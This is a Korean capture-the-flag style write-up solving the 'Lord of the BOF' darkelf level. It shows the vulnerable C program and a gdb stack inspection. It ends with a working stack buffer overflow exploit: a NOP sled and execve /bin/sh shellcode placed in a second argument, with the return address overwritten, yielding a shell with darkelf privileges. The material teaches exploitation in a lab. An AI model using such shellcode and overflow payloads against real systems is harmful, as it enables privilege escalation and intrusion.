LOB wolfman => darkelf

c0wb3ll ㅣ 2020. 3. 17. 18:32

LOB wolfman => darkelf

문제

[wolfman@localhost wolfman]$ cat darkelf.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf 
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
    char buffer[40];
    int i;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    // egghunter 
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }

    // check the length of argument
    if(strlen(argv[1]) > 48){
        printf("argument is too long!\n");
        exit(0);
    }

    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}
[wolfman@localhost wolfman]$ 

취약점

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
    char buffer[40];
    int i;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    // egghunter 
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }

    // check the length of argument
    if(strlen(argv[1]) > 48){
        printf("argument is too long!\n");
        exit(0);
    }

    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

egghunter 부분에서 환경변수로 인한 익스를 예방한다.

argv[1]인자의 길이 검사를 통해 argv[1]의 BOF를 예방한다.

buffer hunter로 buffer를 초기화 함으로써 버퍼에 쉘코드가 올라가 실행되는 것을 예방한다.

그렇다면 어떤 부분을 통해서 익스를 해야 할까?

if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

이 부분을 보면 argc는 인자의 개수를 저장하고 있는 변수인데 인자가 없을 때만 검사하여 에러를 출력하고 필요 이상으로 인자를 받는것에 대해서는 아무런 조건문이 존재하지 않는다. 따라서 argv[1]이 아닌 argv[2]에 쉘코드를 넣으면 될 것 같다.


풀이

--- 생략 ---
0x80485df <main+223>:    nop    
0x80485e0 <main+224>:    mov    %eax,DWORD PTR [%ebp+12]
0x80485e3 <main+227>:    add    %eax,4
0x80485e6 <main+230>:    mov    %edx,DWORD PTR [%eax]
0x80485e8 <main+232>:    push   %edx
0x80485e9 <main+233>:    lea    %eax,[%ebp-40]
0x80485ec <main+236>:    push   %eax
0x80485ed <main+237>:    call   0x8048440 <strcpy>
0x80485f2 <main+242>:    add    %esp,8
0x80485f5 <main+245>:    lea    %eax,[%ebp-40]
0x80485f8 <main+248>:    push   %eax
0x80485f9 <main+249>:    push   0x80486b0
0x80485fe <main+254>:    call   0x8048410 <printf>
0x8048603 <main+259>:    add    %esp,8
0x8048606 <main+262>:    push   40
0x8048608 <main+264>:    push   0
0x804860a <main+266>:    lea    %eax,[%ebp-40]
0x804860d <main+269>:    push   %eax
0x804860e <main+270>:    call   0x8048430 <memset>
0x8048613 <main+275>:    add    %esp,12
0x8048616 <main+278>:    leave  
0x8048617 <main+279>:    ret    

적당히 b*main+275로 main 함수가 끝나기 전에 bp를 걸어주고 argv[1]에 48byte부분에 '\xbf'를 넣어주고 실행시키고 난 뒤 인자를 더 넣어 argv[2]의 위치를 확인해보자.

(gdb) r `python -c "print 'A'*47 + '\xbf ' + '\x90'*100"`
Starting program: /home/wolfman/tmp/darkelf `python -c "print 'A'*47 + '\xbf ' + '\x90'*100"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x8048613 in main ()
(gdb) x/100wx esp
No symbol "esp" in current context.
(gdb) x/100wx $esp
--- 생략 ---
(gdb) 
0xbffffb90:    0x616d666c    0x6d742f6e    0x61642f70    0x6c656b72
0xbffffba0:    0x41410066    0x41414141    0x41414141    0x41414141
0xbffffbb0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffbc0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffbd0:    0x9000bf41    0x90909090    0x90909090    0x90909090
0xbffffbe0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffbf0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffc00:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffc10:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffc20:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffc30:    0x90909090    0x00909090    0x00000000    0x00000000
--- 생략 ---
(gdb) 

'\x90'이 쭉 있는 0xbffffbe0 쯤으로 리턴 어드레스를 변조해주고 nop 뒤에 쉘코드를 넣어주면 될 것 같다.

[wolfman@localhost wolfman]$ ./darkelf `python -c "print 'A'*44 + '\xe0\xfb\xff\xbf ' + '\x90'*100 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA荏
bash$ id
uid=505(wolfman) gid=505(wolfman) euid=506(darkelf) egid=506(darkelf) groups=505(wolfman)
bash$